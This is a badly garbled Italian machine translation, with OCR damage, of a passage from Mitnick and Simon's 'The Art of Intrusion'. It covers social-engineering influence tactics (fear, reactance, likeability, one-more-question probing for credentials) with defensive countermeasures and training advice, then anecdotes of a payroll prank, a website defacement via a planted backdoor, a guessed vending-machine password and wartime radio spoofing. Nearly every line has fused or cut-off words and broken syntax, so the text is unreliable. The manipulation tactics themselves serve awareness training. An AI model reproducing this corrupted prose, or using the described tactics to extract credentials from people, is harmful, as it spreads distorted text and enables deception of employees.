Esempio: Dr. Sagarin cita la storia "CreditChexfiecappare nel capitolo

1 di The Art of Deception in cui I'attaccante seppellisce la questione gbia
informazioni sensibili su numero ID Merchant ddsinca, che e stato

utilizzato come password per verificare l'identiletelefono, nel mezzo di una serie
domande di innocue. Poiché le domande iniziali samiessere innocuo,
questo stabilisce un quadro in cui la vittima eipmsato per trattare la

maggiori informazioni sensibili come anche innocuo.

Televisione scrittore / produttore Richard Levinsanfatto questo una tattica del suo
piu famoso personaggio, Columbo, interpretato darFralk. Il pubblico

felice nel sapere che proprio come il detectivesstdlontanando, e la

sospetto stava abbassando le sue difese, soddistadta fool-

zione del detective, Columbo si fermava a chiedeteltima domanda, la chiave
domanda che era stata la costruzione a lungon@dgneri sociali frequenze
guenza fare uso di questa tattica "uno-piu-cosa".

Il desiderio di aiutare

Gli psicologi hanno identificato molti benefici gene ricevono quando

aiutare gli altri. Aiutare puo farci sentire respahilizzati. Si puo tirarci fuori di un
cattivo umore. Puo farci sentire bene con noi st€8singegneri social

trovare molti modi per sfruttare la nostra incliieee a essere utile.

Esempio: Quando Whurley presento all'ingresso didlielavoratori

casino, la guardia credeva la sua storia di preredan "miele" per il pranzo, in prestito
lui i soldi per la data, gli ha dato consigli suroe gestire una donna,

e non e diventato insistente quando Whurley alloditgenza mai pregiudi-

ing mostrato ID distintivo di un dipendente.

Dr. Sagarin commenta: "Perché gli ingegneri sosiadisso colpiscono persone



che non conoscono il valore delle informazioni steexno dando via, la

aiuto puo essere visto come il trasporto poco costd'assistente. (Quanto lavoro
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e che faccia una query rapida database per il paleb sull'altra estremita di
al telefono?) "
Attribution
Attribuzione si riferisce al modo in cui le pers@pmegano il proprio comportamento e che
di altri. Un obiettivo dell'ingegnere sociale e boieli avere l'attributo target cer-
Caratteristiche Tain a lui o lei, come la competeradfidabilita, creditrice
bilita, o likability.
Esempio: Dr. Sagarin cita il racconto, "The SeeRevmotion," apparendo
nel capitolo 10 dirhe Art of Deception L'attaccante si blocca intorno per un
mentre prima di richiedere I'accesso a una salafemnze, mitigando sospetto
perché le persone assumono un intruso non osa eerelmpo inutiimente
in un luogo dove lui o lei potrebbe essere cattorat
Un ingegnere sociale pud camminare fino a un rem@pt hall, mettere una fattura $ 5
sul bancone, e dire qualcosa come: "Ho trovatotquses pavimento.
Qualcuno ha detto che hanno perso un po 'di stldi?Peceptionist attribuirebbe
al sociale ingegnerizzare le qualita di onestdidafilita.
Se vediamo un uomo in possesso di un porta apertana signora anziana, noi pensiamo che sia
essere educato; se la donna € giovane e attrabbiamo probabilmente attribuiamo un
molto diverso movente.
Simpatia
Gli ingegneri sociali hanno spesso approfittatofdeb che tutti noi siamo
piu propensi a dire "si" alle richieste da partpelisone che ci piacciono.
Esempio: Whurley e stato in grado di ottenere imfazioni utili da Lenore, il
ragazza ha incontrato presso il centro fitnesgamnte utilizzando "lettura a freddo" per valutaie |
sua
reazioni e continuamente adattare le sue ossermaaicose che lei avrebbe risposto.
Questo porto a sentire che hanno condiviso gustiezessi simili ("Anch'io!").
Il suo senso di volergli bene fece piu aperto abbadivisione delle informazioni che
voleva ottenere da lei.
Persone come quelli che sono come noi, come gdiefleere interessi di carriera simili,
formazione, e gli hobby personali. L'ingegnere alecsara
spesso la ricerca di sfondo del suo obiettivo ardoti fingere un
interesse per le cose target preoccupa - la viél@ionis, aria antichi
aerei, raccogliendo vecchi fucili, o qualsiasiaktosa. Gli ingegneri sociali possono anche
aumentare la simpatia attraverso l'uso di complimelusinghe, e fisicamente
ingegneri sociali mente attraenti possono sfruteiero attrattiva per
aumentare la simpatia.
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Un'altra tattica € I'uso di nome-dropping di peesche l'obiettivo
conosce e ama. In questo, l'attaccante sta cerchedsere visto come parte della
“In gruppo” all'interno dell'organizzazione. Glidkar usano anche adulazione o compliance
menti da accarezzare I'ego della vittima, o per&amsaglio nella all'organizzazione



zione che sono stati recentemente premiati pechje@akalizzazione. Ego

carezze puo spingere la vittima ignara nel ruolordaiutante.

Paura

Un ingegnere sociale a volte fare il suo bersagkalono che alcuni

cosa terribile sta per accadere, ma che il disasiminente puo essere

evitata se il target non come suggerisce l'attdecéim questo modo, I'attaccante
usa la paura come arma.

Esempio: Nella storia, "La Patch di emergenza,” appare nel capitolo 12

di L'arte dell'inganng l'ingegnere sociale spaventa la sua vittima don i

minaccia che la vittima perde dati importanti a roarhe la vittima accetta di avere
una "patch” di emergenza installato sul server aladbase della societa. La paura
rende la vittima vulnerabile al di ingegnere soeidsoluzione™.

Attacchi basati sullo stato spesso basano sulleaplin ingegnere sociale master
guerading come un dirigente della societa puo iwhre un segretario o junior staffer
con una richiesta "urgente", e con l'implicaziohe @ subalterno

sara nei guai, o potrebbe anche essere licenp@tda mancata esecuzione.
Reattanza

Reattanza psicologica € la reazione negativa ainggmo quando siamo
percepiscono che le nostre scelte e le libertacemgortati via. Quando nel

preda reattanza, perdiamo il nostro senso di pttdspeome il nostro desiderio per il
cosa abbiamo perso eclissa tutto il resto.

Esempio: Due storie ifihe Art of Deceptiornllustrano la potenza di

Reattanza - si basa sulle minacce riguardanti ledpa di accesso alle informazioni
zione, l'altra sulla perdita di accesso alle riserdi calcolo.

In un attacco tipico basato sulla reattanza, tattate racconta la sua destinazione che
I'accesso ai file di computer non sara disponipdeun tempo, e nomi di un tempo
periodo che sarebbe del tutto inaccettabile. "Naraadando ad essere

in grado di accedere ai file per le prossime duns@ne, ma faremo di tutto
possibile per assicurarsi che non sara piu di qu&Quando la vittima

diventa emotivo, l'attaccante si offre di aiutamgpastinare i file piu veloce;

tutto cio che serve e il nome utente e la passweldersaglio. L'obiettivo,
sollevata in un modo per evitare la temuta perditaplito rispettare volentieri.
Capitolo 10 ingegneri sociali - come funzionanamme fermarli
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L'altro lato della moneta comporta lI'uso del pyneidi scarsita di costringere
l'obiettivo in perseguire un guadagno promessanknversione, le vittime sono
attratto da un sito Web in cui la loro sign-onrdormazioni o la carta di credito
informazioni possono essere rubate. Come reagiaest@ e-mail che pro- messo
zato un nuovo Apple iPod per $ 200 ai primi 1.0&Xatori di un par-
Sito Web colare? Vuoi andare al sito e registiaesicomprare uno? E
quando si registra con il vostro indirizzo emasloegliere una password, sara
si utilizza scegliere la stessa password utilizaittave?
C
OUNTERMEASURES
Attenuanti attacchi di ingegneria sociale richiede serie di coordinate
sforzi, tra cui:
e Sviluppare chiari protocolli di sicurezza, conoi$® vengono applicate
coerente in tutta l'organizzazione
e formazione di sensibilizzazione in via di svilupgella sicurezza



e Sviluppare semplici regole definendo quali sonmiermazioni sensibili

e Lo sviluppo di una semplice regola che dice cha gglta che un richiedente
sta chiedendo un‘azione ristretta (cioe, un'azotvecoinvolge

I'interazione con apparecchiature informatica dbgen-

le sequenze non sono noti), l'identita del richite@leve essere

verificata secondo la politica aziendale

e Lo sviluppo di una politica di classificazione diiti

e dipendenti di formazione sui modi di resistereeigigeria sociale

attacchi

e test di sensibilita del vostro dipendente per gmgeia sociale

attacchi di effettuare una valutazione di sicurezza

L'aspetto piu importante del programma richiedbikta tuno

protocolli di sicurezza adeguate e quindi motivatg@endenti di aderire al
protocolli. La sezione successiva illustra alcuwmipfondamentali da considerare quando
progettazione di programmi e formazione per cotdrada minaccia di ingegneria sociale.
Linee guida per la formazione

Di seguito sono riportate alcune linee guida péotmazione:

e Aumentare la consapevolezza che gli ingegneri @a@eaa quasi certamente
attaccare la loro azienda a un certo punto, forgeywlte.
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Ci puo essere una mancanza di consapevolezza tgedeeagli ingegneri sociali
costituire una minaccia sostanziale; molti non so@anche a conoscenza che
esiste la minaccia. La gente di solito non si dapetdi essere manipola-
relati e ingannati, in modo da ottenere colti djpsesa da un sociale
attacco di ingegneria. Molti utenti di Internet harricevuto un
email presumibilmente dalla Nigeria che richiedg@in movimento
una notevole quantita di denaro per i membri; offrona persona
percentuale del lordo per questo tipo di assistdnzseguito, si €
richiesto per avanzare alcune tasse per avvigredgesso di trasferimento,
solo per essere lasciato tenendo la borsa. Unarsigi New York di recente
e caduto per la truffa e "preso in prestito" cegitirdi migliaia di
di dollari dal suo datore di lavoro per avanzar@agse. Anziché
Passo il tempo sul suo nuovo yacht ancora-a-esegngstato, €
di fronte alla prospettiva di condivisione di uttéea castello in una detenzione federale
impianto zione. Persone davvero cadono per quegegneria sociale
attacchi; altrimenti, i truffatori nigeriani saredab interrompere l'invio
le e-mail.
e Utilizzare gioco di ruolo per dimostrare la vulndrita personale sociale
tecniche di ingegneria, e per formare i dipendé@mtnetodi per
loro resistere.
La maggior parte delle persone operano sottodidie di invulnerabilita,
immaginando sono troppo intelligente per esserapoato, truffato,
ingannato, o influenzato. Essi ritengono che sakestg cose
capita di persone "stupide". Sono disponibili dustadi per aiutare
dipendenti a comprendere la loro vulnerabilitalk feero
credenti. Un metodo comporta dimostrare I'efficacia
ness di ingegneria sociale "bruciando” alcuni dgeeti prima
per la loro partecipazione a un seminario di séiihzione alla sicurezza, e quindi



averli riferiscono le loro esperienze in classat@l

approccio e quello di dimostrare la vulnerabilitealézzando effettiva
ingegneria sociale studi di casi per illustrare edenpersone sono
sensibili a questi attacchi. In entrambi i casfolanazione dovrebbe
esaminare il meccanismo di attacco, analizzandchger

hanno lavorato, e poi discutendo come tali attapoksono essere ricono-
sciuta e resistette.

e tesa a creare un senso negli studenti che si samto sciocco se
manipolato da un attacco di ingegneria sociale déaitenamento.

La formazione dovrebbe sottolineare la respongaldliciascun dipendente
aiutare a proteggere le risorse aziendali sensibditre, &€ fondamentale
che i progettisti della formazione riconoscono Ehmotivazione

zione a seguire protocolli di sicurezza in certeasioni solo
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nasce da una comprensione del perché i protocoit se-
ne-. Durante l'allenamento di sicurezza-consapexalgyli istruttori
dovrebbe dare esempi di come il protocollo di szaa protegge
il business, e il danno che potrebbe capitaredaetose
la gente li ignorano o sono negligenti.
E 'anche utile sottolineare che una ingegneriaasodi successo
attacco puo compromettere le informazioni persatellidipendente
e i suoi amici e collaboratori in azienda. A com-
database di risorse umane di societa puo contermriepersonali
mazioni che sarebbe estremamente prezioso pai diadentita.
Ma il miglior fattore motivante puo essere che ss®0 piace essere
manipolato, ingannato o truffato. Come tali, lesoere sono molto
motivata non sentirsi sciocco o stupido cadendafmemi
truffa.
Programmi per Contrastare ingegneria sociale
Di seguito sono riportati alcuni punti fondamentai considerare nella progettazione di
programmi:
e Sviluppare procedure per le azioni dei dipendamttaso di ingegneria sociale
ing attacco é riconosciuta o sospetta.
Si rimanda al completo Manuale di sicurezza
politiche previste i 'arte dell'ingannoQueste politiche dovrebbero
essere considerata come riferimento; prendi quékoti serve e lasciare |l
riposo. Una volta che sono state sviluppate praeedriendali e
messo in uso, le informazioni dovrebbero esserélmabe sul com-
intranet di societa, dove é rapidamente disponibili altro eccellente
risorsa é trattato di Charles Cresson legno sullogpo
politiche di sicurezzgprivacy Information Security
Made EasySan Jose, CA: Baseline Software, 2001).
e Sviluppare semplici linee guida per i dipendengfiire cosa zioni
zioni la societa ritiene sensibile.
Essendo elaborare le informazioni in modo eurisgian parte della
tempo, semplici regole di sicurezza puo esseregtiatg per alzare una bandiera rossa
guando le richieste sono fatte coinvolgere inform@zsensibili (come ad
informazioni aziendali come riservate come passwiordh individuo



word). Una volta che un dipendente riconosce cfenmazioni sensibili
e stata richiesta zione o qualche azione di compuie lei

puo fare riferimento al manuale di politica di sezza della compagnia
pagina intranet Web per determinare il protocotioetto o pro-
procedure da seguire.
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Inoltre, € importante capire e trasmettere a

dipendenti che anche le informazioni non considseatsibili

puo essere utile per un ingegnere sociale, chegnedgliere pepite d'
informazioni apparentemente inutili che possonemesaniti per fornire
informazioni per creare lillusione di credibilédTRUST-

dignita. Il nome del responsabile di progetto sisensibile

progetto aziendale, la posizione fisica di un teasviluppo

ERS, il nome del server che utilizza un particolarpiegato,

e il nome del progetto assegnato a un progett@segono tutti segnale
signifi-, e ogni azienda ha bisogno di pesare iigeeze del

attivita contro la possibile minaccia alla sicur@zz

Questi sono solo alcuni dei tanti esempi di apgareante unim-

informazioni importanti che possono essere utilk@ aitente malintenzionato.

Scenari come quelle ifhe Art of Deceptiopuo essere utile

nel trasmettere questo concetto ai tirocinanti.

e Modificare le norme dell'organizzazione cortesha-bene dire "no"!

La maggior parte di noi si sentono a disagio ogiedire "no" alla OTHERS
ERS. (Un prodotto ora sul mercato € progettatacher

sono troppo educato per riagganciare il telemargetyuando un telemar-
Keter chiama, I'utente preme il tasto * e riagganana voce poi

dice al chiamante, "Mi scusi, questo ¢ il telef@iler e io

sono stati diretti a informarvi che questa famigleve

purtroppo rifiutare la tua richiesta. "Mi piace tEmmarico ". Ma

Penso che sia un interessante commento che ctspisone

bisogno di acquistare un dispositivo elettronicogiee "no" per loro. Voluto
sipaga $ 50 per un dispositivo che consente dimisiae il "imbarazzo"

di dire "no"?)

Programma di formazione di ingegneria sociale dmlzeta deve

avere come uno dei suoi obiettivi la ridefiniziatela norma gentilezza

in azienda. Questo nuovo comportamento includeredbeatamente

in calo le richieste sensibili fino alla identitaetorizzazione

zione del richiedente puo essere verificata. Pemes, la formazione

ing potrebbe includere suggerire risposte su ordin&ome

dipendenti della societa X, entrambi sanno quaiatargortante

a seguire protocolli di sicurezza. Cosi, entranbibi@mo capito che io sono
andando a verificare la vostra identita prima sieitare

la tua richiesta. "

e sviluppo di procedure per verificare l'identita‘adtorizzazione.

Ogni azienda deve sviluppare un processo per vardil'identita e
autorizzazione delle persone che chiedono inforomaz azioni

da parte dei dipendenti. Il processo di verificagmi situazione sara
Capitolo 10 ingegneri sociali - come funzionanmme fermarli
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necessariamente dipendera dalla sensibilita détbermazioni o
essendo l'azione richiesta. Come per molte altestouni in
sul posto di lavoro, le esigenze di sicurezza dewessere bilanciati contro il
esigenze di business dell'organizzazione.
Questa formazione deve affrontare non solo le ¢henevidenti
ma quelle sottili cosi, come l'uso di un bigliedi® visita
Whurley per stabilire le sue credenziali. (Ricoedidpersonaggio del titolo
interpretato da James Garner nella serie 1970tdetdthe
Rockford Files che teneva una piccola tipografia nella sua sutoodo da
potrebbe stampare fino un adeguato biglietto déavier ogni occasione.)
Abbiamo fornito un suggerimento per la procedurasatifica in
The Art of Deception
2
e Ottenere top management buy-in.
Questo &, naturalmente, quasi un cliché: Ogni gestsignificativa
sforzo mento inizia con la consapevolezza cheojamma
bisogno di supporto per la gestione per avere sgsocéorse ci sono pochi
sforzi aziendali in cui tale sostegno € piu impatea
sicurezza, che cresce ogni giorno di piu vitale cimafa ben poco per
ulteriori ricavi aziendali e quindi spesso passadgoondo piano.
Eppure, questo fatto rende solo ancora piu imptatelme una com-
impegno a inizio sicurezza dall'alto.
In una nota correlata, top management dovrebbarewdue
messaggi chiari su questo argomento. Saranno ipiregi chiesto
dalla direzione di aggirare qualsiasi protocollsidurezza. E no
dipendente otterra nei guai per protezione segyentetipo
cols, anche se diretto da un manager di violarle.
Su una nota piu leggera: Incontra Manipolatore
in tua famiglia - i vostri bambini
Molti bambini (o & piu?) Hanno un sorprendente grdidmanipolativa
skill - proprio come l'abilita usata da ingegnextisli - che nella maggior parte dei casi
perdono mentre crescono e diventano piu sociabzZxgni genitore ha
stato il bersaglio di un attacco di un bambino. @leaun ragazzo vuole qualcosa
abbastanza male, lui o lei puo essere implacahilelevello che, allo stesso
il tempo e altamente fastidioso, ma anche divestent
Come Bill Simon e io stavamo finendo questo lilmmno stato testimone di un bambino
full-bore attacco di ingegneria sociale. La miaazga e il suo Darci nove Yearbook
figlia Briannah mi aveva raggiunto a Dallas memtre |i in Busi-
ness. Presso I'hotel I'ultimo giorno prima di prenedun volo serale,
L'arte dell'intrusione
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Briannah testato la pazienza di sua madre, chiedénandare a un ristoran-
rant aveva scelto per la cena, e gettd un temperttanipicamente infantile
capriccio. Darci applicata la pena mite di prendereporaneamente via il suo
Gameboy e dicendole che non poteva usare i suchigo@r computer per un giorno.
Briannah sopportare questo per un po ', poi, a pquaco, cominciarono a cercare



diversi modi di convincere la madre a farle aveseai giochi indietro,

ed era ancora a farlo quando sono tornato e linagg Costante del bambino
fastidioso € stato fastidioso; poi ci siamo resitoache stava cercando di ingegnere sociale
noi e abbiamo iniziato a prendere appunti:

e "Sono annoiato. Posso prega di avere i miei gidchuovo. "(Parlato come
la domanda, non come una domanda.)

e "Ti impazzire se non posso giocare i miei giochi."

(Accompagnato da un lamento.)

e "Non voglio avere niente a che fare sul piano aemaiei giochi."

(Parlato in un tono di "Qualsiasi idiota avrebbpittaquesto.")

e "Sarebbe bene se ho giocato solo una partite"n@\!

promettono travestito da una domanda.)

e "Saro bene se mi dai il mio gioco indietro”. (httali

sincerita serio.)

e "leri sera sono stato davvero buono, quindi perdréposso giocare una partita
ora? "(A tentativo disperato sulla base di un raginento confuso.)

e «lo non lo fard mai piu. (Pausa). Posso giocargiaoo ora? "

("Non sara mai farlo di nuovo" - come ingenuo peesa

siamo?)

e "Posso avere indietro adesper favore? "(Se le promesse non funzionano,
forse un po 'di elemosina aiutera. . .)

e "Devo tornare a scuola domani, quindi non sagraalo di

giocare il mio gioco a meno che non posso inizaee "(Va bene, quanti
diverse forme di social engineering ci sono? Forse

avrebbe dovuto essere un contributo a questo )ibro.

e "Mi dispiace e mi sbagliavo. Posso giocare soloymepo '? "

(Confessione puo essere buono per I'anima, maumdifupzionare molto

cosi come la manipolazione.)

e "Kevin mi ha fatto fare". (Pensavo che solo gltker hanno detto che!)

e "Sono molto triste senza il mio gioco". (Se namcafunziona, provare

alla ricerca di un po 'di simpatia.)

e "Sono andato oltre la meta del giorno, senzaadl gvco.” (In

altre parole, "Quanto sofferenza e abbastanzareaffa?")
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e «Non costa denaro per giocare." (A disperato tenatali
indovinare cio che la ragione di sua madre potredsisere per estendere la
punizioni cosi a lungo. Bad indovinare.)
e "E 'il mio compleanno e non puo giocare le midipaf
(Un altro afferrare pietoso per simpatia.)
E continuando come abbiamo preparato a testagaeoporto:
e "Sar0 annoiato all'aeroporto.” (Nella vana spesarie bore-
dom sarebbe considerato una cosa terribile dareata
tutti i costi. Forse se Briannah annoiava abbastaazrebbe potuto provare
disegnare immagini o la lettura di un libro.)
e "E 'un volo di tre ore al giorno e io non hanndlana che fare!" (Still
qualche speranza potesse abbattere e apriredldiis ha avuto
stato portato avanti.)
e "E 'troppo buio per leggere ed € troppo buio peeghare. Se io gioco un



gioco, posso vedere lo schermo. "(Il tentativo eigfo a logica.)

e "Posso almeno usare Internet?" (Ci deve espskehecom-

promessa nel tuo cuore.)

e "Sei la mamma migliore del mondo!" (E ‘anche ahile

con complimenti e lusinghe in un debole tentativottenere cio

che vuole.)

e «Non e giusto !!I" (The, ultimo sforzo ultimo dis@to.)

Se si vuole aumentare la comprensione di comaggigneri sociali

manipolare i loro obiettivi e come si muovono legode da uno stato di pensiero
in uno stato emotivo. . . basta ascoltare i vdstmbini.

T

HE

B

OTTOM

L
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Nel nostro primo libro insieme, Bill Simon e ioatettati ingegneria sociale come
"Anello piu debole della sicurezza delle informamid

Tre anni dopo, cosa troviamo? Troviamo societa dmmieta

distribuzione di tecnologie di sicurezza per prgtze le loro risorse informatiche
contro l'invasione tecnica da parte di hacker e splustriali assunti, e man-
contenente una forza di sicurezza fisica efficareppoteggere dall’accesso non autorizzato
trasgressione.

Ma troviamo anche che poca attenzione viene dateqrérastare le minacce
posta da ingegneri sociali. E 'essenziale per edwecformare i dipendenti

per la minaccia e su come proteggersi da esseoétiiad
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assistere gli intrusi. La sfida per la difesa comulnerabile a base umana-
nerabilities e sostanziale. Proteggere I'organiopazdi essere vittima-
zata da parte di hacker che utilizzano tatticheodial engineering deve essere |l
responsabilita di tutti e digni dipendente egni dipendente, anche quelli
che non usano il computer in nell’esercizio delle funzioni. | dirigenti sono
vulnerabili, le persone in prima linea sono vultdracentralinisti, ricezione
tionists, pulizia personale dell'equipaggio, custdél parcheggio, e piu in particolare, nuovo
dipendenti - tutti possono essere sfruttati dangjegneri sociali come un altro passo
verso il raggiungimento dei loro obiettivi illeciti
L'elemento umano é stato dimostrato di essererirdoioni di sicurezza di
anello piu debole per le eta. La domanda da urongldi dollari €: Avete intenzione di essere
I'anello debole che un ingegnere sociale € in gtadéruttare nella vostra azienda?
N
OTES
1. L'osservazione da psicologo Neidert si possomate online all'indirizzo
www1.chapman.edu/comm/
comm / docenti / thobbs / com401 / socialinfluehoendfl.html.
2. Vedere Kevin D. Mitnick e William L. SimoiThe Art of DeceptiofWiley Publishing, Inc.,
2002),
pp. 266-271.
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Capitolo 11
Corto prende
lo non sono un esperto di crittografia, non un maaéco. So solo come le persone fanno
errori nelle applicazioni e fanno gli stessi errguit e piu volte
nuovo.
- L'ex hacker, girato consulente per la sicurezza
S
ome delle storie ci hanno dato nel processo ditsaidi questo
libro non rientrava perfettamente in uno dei cdpfirecedenti, ma sono
troppo divertente da ignorare. Non tutti questicsback. Alcuni sono solo
malizioso, alcuni sono manipolativa, alcuni sornb pérché sono
illuminante o rivelando su qualche aspetto dellam@aumana. . . e
alcuni sono semplicemente divertenti.
Ci e piaciuta molto ed ho pensato che potrebbdéieanc
T
HE
M
ISSING
P
AYCHECK
Jim era un sergente dell'esercito americano c@eato in un gruppo di computer a
Fort Lewis, a Puget Sound, nello stato di Washimgsotto un tiranno
di un sergente maggiore che Jim descrive come ‘&o#tbiata con il mondo,"” il genere
di persona che "ha usato il suo rango per rendéralt rango minore infelice.”
Jim ei suoi amici del gruppo, infine, si e stufataanno deciso
bisogno di trovare il modo di punire il bruto pendere la vita cosi
insopportabile.
La loro unita disco gestito il personale e le vaeli libro paga. Per assicurare
precisione, ogni elemento e stato inserito da digas-impiegati separati, e la
risultati sono stati confrontati prima che i dattato inviato registrazione della persona.
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La soluzione vendetta che i ragazzi si avvicino eanabbastanza semplice,
Dice Jim. Due lavoratori in voci identiche direcaimputer che
il sergente era morto.
Questo, naturalmente, si fermo il suo stipendio.
Quando payday e venuto e il sergente lamentatocheveva
ricevuto il suo controllo, "procedure standard oado per tirare fuori la carta
File e avendo il suo stipendio creato manualméMa.questo non ha funzionato,
0. "Per qualche motivo sconosciuto,” Jim ha scriihgua ben piantati in
guancia ", il suo file di carta non pud essere posato ovungque. Ho motivo di
credono che il file spontaneamente bruciato. "Ndifficile da capire
come Jim arrivo a questa conclusione.
Con il computer mostrando che I'uomo era mortoregastaceo



record a portata di mano per mostrare che avessesis#to, il sergente era fuori
fortuna. Nessuna procedura esisteva per |I'emissiome assegno per 'uomo che non esisteva.
Una richiesta doveva essere generato al quartrargke dell'esercito chiedendo che le copie
delle carte in record dell'uomo essere copiatagniesso, e per pilota automatico

ance se c'era alcuna autorita per lui pagare agémpo.

Le richieste sono state regolarmente presentatep@ca aspettativa che avrebbero
ricevere una risposta rapida.

C'e un lieto fine alla storia. Jim riferisce chlestio comportamento era

molto diverso per il resto dei giorni lo sapevo. "
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Ai tempi in cui il filmatoJurassic Park 2 uscito, un giovane hacker che chiameremo
Yuki ha deciso che voleva "possedere" - cioe, etteil controllo del - la

MCA / Universal Studios box che ha ospitato losHdi@om, il sito Web

per il Jurassic Parkilm e spettacoli televisivi dello studio.

E 'stato, dice, un "hack piuttosto banale", peithi#o era cosi male

protetta. Ha approfittato di che con un metodol@eéescritto in tecno-

termini nici comé€' inserimento di un CGI che gestiva un buttafuanpfsriore porta non del fuoco
murata] cosi posso collegarmi ad una maggiore podmnnettersi al localhost per
accesso completo. "

MCA era allora in un edificio nuovo di zecca. Yiia fatto un po 'di Internet

la ricerca, ha imparato il nome dello studio dingtettura, ha ottenuto per il suo sito web,
e trovato poche difficolta rottura nella sua ré€@uesto e stato a lungo

abbastanza fa, che le vulnerabilita evidenti soesymibilmente stati corretti

ormai.)

Dall'interno del firewall e stato breve il lavoremindividuare il AutoCAD

schemi dell'edificio MCA. Yuki ha fatto molto piaee Tuttavia, questo era solo un
L'arte dell'intrusione

248

Pagina 270
barra laterale per il suo sforzo reale. Il suo @anaia stato progettare occupato "un nuovo simpatico
logo "per iJurassic Parkpagine Web, sostituendo il norderassic Park
e sostituendo il tirannosauro aperto mascella eopau'Ducky. Essi
rotto nel sito Web, pubblicato il loro logo (vedghra 11-1) al posto di
guello ufficiale, e si sedette di nuovo per vedsrea sarebbe successo.

Figura 11-1: Il sostituto per il logo Jurassic Park.

La risposta non era quello che si aspettavanodianensato la

logo e stato divertente, ma sospettoso. CNet Newsportato una storia

1

con

titolo che ha chiesto se si trattava di un trucema bufala, sospettando che
qualcuno nella organizzazione universale potrebkecdirato la bravata di



Garner pubblicita per il film.

Yuki dice che entra in contatto con Universal pdopo, explain-

zione il buco che lui e il suo amico aveva usatogeeedere al sito, e

dicendo loro anche di una porta sul retro che avewvastallato. A differenza di molti
organizzazioni che imparano l'identita di una peasche ha rotto nel loro

Sito Web o di rete, i ragazzi di universale appadzze informazioni.

Piu di questo, Yuki dice, gli hanno offerto un modt lavoro - senza dubbio capire
sarebbe stato utile nel trovare e collegare aliteerabilita. Yuki era

entusiasta per l'offerta.

Non ha funzionato, pero. "Quando hanno scopertagbeo solo 16, che

cercato di lowball me. »Si volto verso il bassadasione.

Due anni piu tardi, CNet News.com ha presentatelenco di loro 10 di tutti i tempi
hack preferiti.

2

Yuki era felice di vedere il sugurassic Pondncidere promi-

nentemente inclusi.
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Ma i suoi giorni di hacking sono finiti, afferma ku E "'stato fuori della scena
per cinque anni. "Dopo aver rifiutato I'offerta MCla iniziato una con-
sultazione carriera che ha perseguito da allora.
H
ACKing A
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Qualche tempo fa, Xerox e altre societa sperimertaih macchine
che avrebbe fatto la "ET, telefono di casa" bitaWmacchina di copia, dire,
avrebbe monitorare il proprio stato, e quandorietcé in esaurimento, 0 mangimi
rulli cominciavano a usura, o e stato rilevato lirogroblema,
un segnale sarebbe generato da una stazione rernesta- aziendale
quarti di segnalazione della situazione. Una pexsamnvizio sarebbe poi essere visualizzati
patchato, portando tutte le parti di ricambio neags.
Secondo il nostro informatore, David, una delleade che testate
le acque di questo era Coca-Cola. Macchine spetahéoke automatici,
David dice, sono stati collegato a un sistema @m0 essere interrogato
a distanza di una relazione sul loro stato di fonamento.
Trovandosi annoiato un giorno, David e un paiorica
ha deciso di sondare questo sistema e vedere otesapo scoprire. Essi
rilevato che, come si aspettavano, la macchinapbé essere raggiunto su telnet.
"E 'stato collegato tramite una porta seriale ea¥® processo in esecuzione che
afferrato il suo status e formattato piacevolmett@nno usato il programma Finger
e ho imparato che "un log-in era venuto in quetaorutto cid che
rimaste per noi era di trovare la password. "
Ci sono volute solo tre tentativi di indovinareplassword, anche se
alcune societa programmatore ha intenzionalmemdéoseno che era altamente



improbabile. Ottenere I'accesso, hanno scopertd cbédice sorgente per il pro-
grammo e stato memorizzato nella macchina e "nbraaip potuto resistere a fare un po*
cambiare! "

Hanno inserito codice che aggiungere una rigaradite dell'uscita gio

salvia, circa una volta ogni cinque: "Aiuto! Quatcumi e calci! "

"Il piu grande risata, pero," David, dice, "e stgt@ando abbiamo indovinato la
password. "Cura di prendere una pugnalata a citecparola d'ordine era che la Coca-Cola
persone erano cosi sicuri che nessuno sarebbado gr indovinare?

La password della Coca-Cola distributore automaseaondo David, é stato
"pepsi”!
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Nelle fasi di run-up per l'operazione Desert Stdd8,Army Intelligenza

ando a lavorare sui sistemi di comunicazione @ehieno dell'esercito, l'invio
L'arte dell'intrusione

250

Pagina 272
elicotteri carichi di apparecchiature di rilevaneradiofrequenza ad strategica
punti lungo "al sicuro del confine iracheno." Questil descrittivo
frase usata da Mike, che era li.
Gli elicotteri sono stati inviati a gruppi di tflérima della evoluzione
Global Positioning System (GPS) per posizioni imtiiando, tre
elicotteri forniti incrociati cuscinetti che hanpermesso al popolo Intelligence per
tracciare le posizioni di ciascuna unita dell'eericacheno, insieme con la radio frequen-
Cies erano usando.
Una volta che l'operazione € iniziata, gli StatitUa stato in grado di intercettare
le comunicazioni irachene. Mike dice: "i soldatiemmani che parlavano Farsi
ha cominciato a ascoltare sui comandanti irachannb parlato della loro terra
leader truppa pattuglia. "E non solo ascoltare.nf@oain comandante ha chiesto
tutte le sue unita per stabilire comunicazioni eomporaneamente, le unita
sarebbe accedi: "Questo € Camel 1." "Questa e Caim&uesta € Camel 5."
Una delle intercettazioni ci avrebbero poi condétte alla radio in
Farsi, "Questo e il Camel 1," ripetendo il nomackesso.
Confuso, il comandante iracheno avrebbe detto Carbke gia
firmato e non deve farlo due volte. Camel 1 avrabbecentemente dire che aveva
solo firmato in una volta. "Ci sarebbe una rafficaiscussione con allegazioni
zioni e smentite su chi stava dicendo cosa, "Méceonta.
Gli ascoltatori esercito ha continuato lo stessd@lo con differenti com- iracheno
Manders su e giu per il bordo. Poi hanno deciqurelidere il loro stratagemma per
il livello successivo. Invece di ripetere un nomacktesso, voce degli Stati Uniti, in inglese,
gridava, "Questo e Bravo Force 5 - come tutti et Secondo Mike,
"Ci sarebbe un putiferio!"



Queste interruzioni infuriare i comandanti, che @@no essere

mortificato le loro truppe sul campo di udito queperturbazione dagli infedeli

invasori e al tempo stesso inorridito per scopire non potevano

ordini radio ai loro quote senza forze americanerio@aring ogni

word. Hanno cominciato regolarmente spostamentavattso un elenco delle frequenze di backup.
L'apparecchiatura di rilevamento a radio frequembardo della elicotteri dell'esercito americano
e stato progettato per sconfiggere questa strategitrezzatura semplicemente scansionato il
banda radio e rapidamente trova la frequenza ¢heagheni avevano acceso

a. Gli ascoltatori americani furono presto di nuavista. Nel frattempo, con ciascun
spostamento, Esercito intelligence é stato in gth@dggiungere alla loro lista crescente della fre-
quenze utilizzati dagli iracheni. E loro continuagaa montare

e perfezionare il loro "ordine di battaglia” defitaza di difesa irachena - dimensioni, LOCA-
zione, e la designazione delle unita, e anche piazione.

Infine i comandanti iracheni disperavano e contidgRadio comunicazione

